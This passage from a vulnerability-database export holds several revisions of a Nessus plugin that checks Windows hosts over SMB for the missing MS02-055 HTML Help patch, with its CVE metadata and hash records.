Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.43\");\n script_cvs_date(\"Date: 2018/07/30 11:55:12\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["cvss"], "edition": 7, "lastseen": "2018-07-31T04:23:06"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 2, "hash": "374b4e0bad983f721e29200d37fea489dff3c9cc1375767fc18e7e53a4f32c6c", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "3972cbc4a0e8c87a21002b6bdd686f86", "key": "sourceData"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "818238f5a88c3278e462152e49f23dee", "key": "modified"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2017-05-25T17:55:01", "modified": "2017-05-24T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.2", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"$Revision: 1.39 $\");\n script_cvs_date(\"$Date: 2017/05/24 21:06:48 $\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_osvdb_id(867, 2992);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2017 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 2, "lastseen": "2017-05-25T17:55:01"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 10, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "178e3f8a48402aa35ce58d2e023a767b09b3f3a4c8161db35db6746092c2be9c", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "2133d1a402acc193d7b90178dc1f7602", "key": "sourceData"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "5b5c5b741060d072140641b3879412b0", "key": "references"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "015cb78ce50d3bd4e2fbe18f25603329", "key": "modified"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-11-17T03:14:25", "modified": "2018-11-15T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.44\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["description"], "edition": 10, "lastseen": "2018-11-17T03:14:25"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 9, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "db358cbd321d2e9258a3f1bdc93ef710d6cc616812110b4993c49b21dc6385b9", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "3b33040e1ee70c0673ab567f99a67d3f", "key": "modified"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "a3017aea3e93989790e3001745ef06d4", "key": "sourceData"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2018-09-02T00:06:51", "modified": "2018-07-30T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"1.43\");\n script_cvs_date(\"Date: 2018/07/30 11:55:12\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'1,3', xp:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.1\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"Hhctrl.ocx\", version:\"5.2.3669.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n\n", "title": "MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)", "type": "nessus", "viewCount": 1}, "differentElements": ["references", "modified", "sourceData"], "edition": 9, "lastseen": "2018-09-02T00:06:51"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:microsoft:windows"], "cvelist": ["CVE-2002-0694", "CVE-2002-0693"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "The remote host contains a version of the HTML Helpfacility ActiveX control module that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and enticing a victim to visit it.", "edition": 4, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}}, "hash": "3ccceb3d5d35b240cc2ecd272707417760fc31d43c51cb0637c17048a288c39f", "hashmap": [{"hash": "295bd1a72971fc6c0d0442eba33df71e", "key": "description"}, {"hash": "e3fbbf79919d557f6be6280638bda671", "key": "references"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "bb9b30e370c1f8f144d5e0163c34075e", "key": "modified"}, {"hash": "397a33b7a8af8df9418a0c5e51e9dc18", "key": "published"}, {"hash": "425637eb16dcc15cff3a27b7018c1437", "key": "title"}, {"hash": "c9898bc973bfffca5119f1a3bfa73a8d", "key": "naslFamily"}, {"hash": "f119fcbd597f778cfd79bca12af8db90", "key": "cpe"}, {"hash": "c163202d79ae40187f33f35d67015152", "key": "sourceData"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "be611e2150260d71ee3fc3f93ea2a5bd", "key": "href"}, {"hash": "eed054ecd7a0a544cf73292836023ffe", "key": "pluginID"}, {"hash": "a1cdd73b9fb62492766693218d5065e5", "key": "cvelist"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=11147", "id": "SMB_NT_MS02-055.NASL", "lastseen": "2017-10-29T13:44:36", "modified": "2017-05-26T00:00:00", "naslFamily": "Windows : Microsoft Bulletins", "objectVersion": "1.3", "pluginID": "11147", "published": "2002-10-24T00:00:00", "references": ["https://technet.microsoft.com/library/security/ms02-055"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(11147);\n script_version(\"$Revision: 1.40 $\");\n script_cvs_date(\"$Date: 2017/05/26 15:15:35 $\");\n\n script_cve_id(\"CVE-2002-0693\", \"CVE-2002-0694\");\n script_bugtraq_id(4387, 5872, 5874);\n script_osvdb_id(867, 2992);\n script_xref(name:\"MSFT\", value:\"MS02-055\");\n script_xref(name:\"MSKB\", value:\"323255\");\n\n script_name(english:\"MS02-055: Unchecked Buffer in Windows Help Facility Could Enable Code Execution (323255)\");\n script_summary(english:\"Checks for MS Hotfix Q323255, Unchecked Buffer in Windows Help facility\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web\nclient.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the HTML Helpfacility ActiveX\ncontrol module that could allow an attacker to execute arbitrary code on\nthe remote host by constructing a malicious web page and enticing a\nvictim to visit it.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://technet.microsoft.com/library/security/ms02-055\");\n script_set_attribute(attribute:\"solution\", value:\"Microsoft has released a set of patches for Windows NT, 2000 and XP.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2002/10/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2002/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2002-2017 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS02-055';\nkb = '323255';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", 